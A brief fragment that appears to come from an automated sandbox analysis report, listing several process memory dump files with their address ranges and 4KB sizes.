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memory/5072-113-0x00000000004F0000-0x00000000004F1000-memory.dmp

Filesize
4KB

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memory/5092-313-0x0000000000000000-mapping.dmp

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memory/5092-315-0x0000000004320000-0x0000000004321000-memory.dmp

Filesize
4KB

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memory/5092-317-0x0000000004320000-0x0000000004321000-memory.dmp

Filesize
4KB

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